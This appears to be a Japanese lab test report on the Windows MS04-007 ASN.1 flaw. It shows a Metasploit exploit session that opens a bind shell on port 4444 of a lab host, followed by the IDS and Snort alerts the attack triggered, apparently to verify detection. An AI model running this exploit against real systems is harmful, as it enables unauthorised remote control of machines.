■脆弱性の説明MSMS04-007
http://www.microsoft.com/japan/technet/security/Bulletin/MS04-007.mspx
■攻撃元
192.168.221.11 W2K
■攻撃対象
192.168.221.180 Win2K+Engish WinXP+Japane
■影響
以下の実証コードでは、攻撃が成功し、対象ホストのPort4444を利用して、
リモートから接続できることを確認しました。
■実証コード
Exploit and Payload Options
===========================
Exploit: Name Default Description
-------- ------ ------- ---------------------------
optional SSL The target service uses SSL
required RHOST The target address
required RPORT 445 The target service port
required PROTO smb Protocol (smb or http)
Payload: Name Default Description
-------- -------- ------- ------------------------------------------
required EXITFUNC thread Exit technique: "process", "thread", "seh"
required LPORT 4444 Listening port for bind shell
Target: Windows 2000 SP2-SP4 + Windows XP SP0-SP1
msf msasn1_ms04_007_killbill(win32_bind) > set RHOST 192.168.221.180
RHOST -> 192.168.221.180
msf msasn1_ms04_007_killbill(win32_bind) > exploit
[*] Starting Bind Handler.
[*] Attempting to exploit target Windows 2000 SP2-SP4 + Windows XP SP0-SP1
[*] Sending SMB negotiate request...
[*] Got connection from 192.168.221.11:1894 <-> 192.168.221.180:4444
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.
C:\WINNT\system32>ipconfig
ipconfig
Windows 2000 IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 192.168.37.180
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.37.1
■Proveintaでの検知結果
Event Number : 1
Date/Time : 2006-01-15 12:38:32 JST
Tag Name : ASN1_Constr_BitStr_Heap_Corruption
Alert Name : ASN1_Constr_BitStr_Heap_Corruption
Severity : High
Tag Brief Description :
Observance Type : Intrusion Detection
Combined Event Count : 1
Cleared Flag : No
Target DNS Name :
Target IP Address : 192.168.37.180
Target Object Name : 445
Target Object Type : Target Port
Target Service :
Source DNS Name :
Source IP Address : 192.168.221.11
SourcePort Name : 2157
Sensor DNS Name :
Sensor IP Address : 192.168.221.11
Sensor Name : network_sensor_1
Attribute Value Pairs for Event Number : 1
Attribute Name : :intruder-ip-addr
Attribute Value : 192.168.221.11
Attribute Name : :intruder-port
Attribute Value : 2157
Attribute Name : :offset
Attribute Value : 1060
Attribute Name : :protocol
Attribute Value : SMB
Attribute Name : :victim-ip-addr
Attribute Value : 192.168.37.180
Attribute Name : :victim-port
Attribute Value : 445
Attribute Name : algorithm-id
Attribute Value : 2120072
Attribute Name : IANAProtocolId
Attribute Value : 6
Attribute Name : Packet DestinationAddress
Attribute Value : 192.168.37.180
Attribute Name : Packet DestinationPort
Attribute Value : 445
Attribute Name : Packet DestinationPortName
Attribute Value : microsoft-ds
Attribute Name : Packet SourceAddress
Attribute Value : 192.168.221.11
Attribute Name : Packet SourcePort
Attribute Value : 2157
■Snort
overflow attempt [**] [Classification: Generic Protocol Command Decode] [Priority: 3] {TCP} 192.168.221.11:2157 -> 192.168.37.180:445
01/15-12:39:59.839951 [**] [1:1917:6] SCAN UPnP service discover attempt [**] [Classification:
overflow attempt [**] [Classification: Generic Protocol Command Decode] [Priority: 3] {TCP} 192.168.221.11:2173 -> 192.168.37.180:445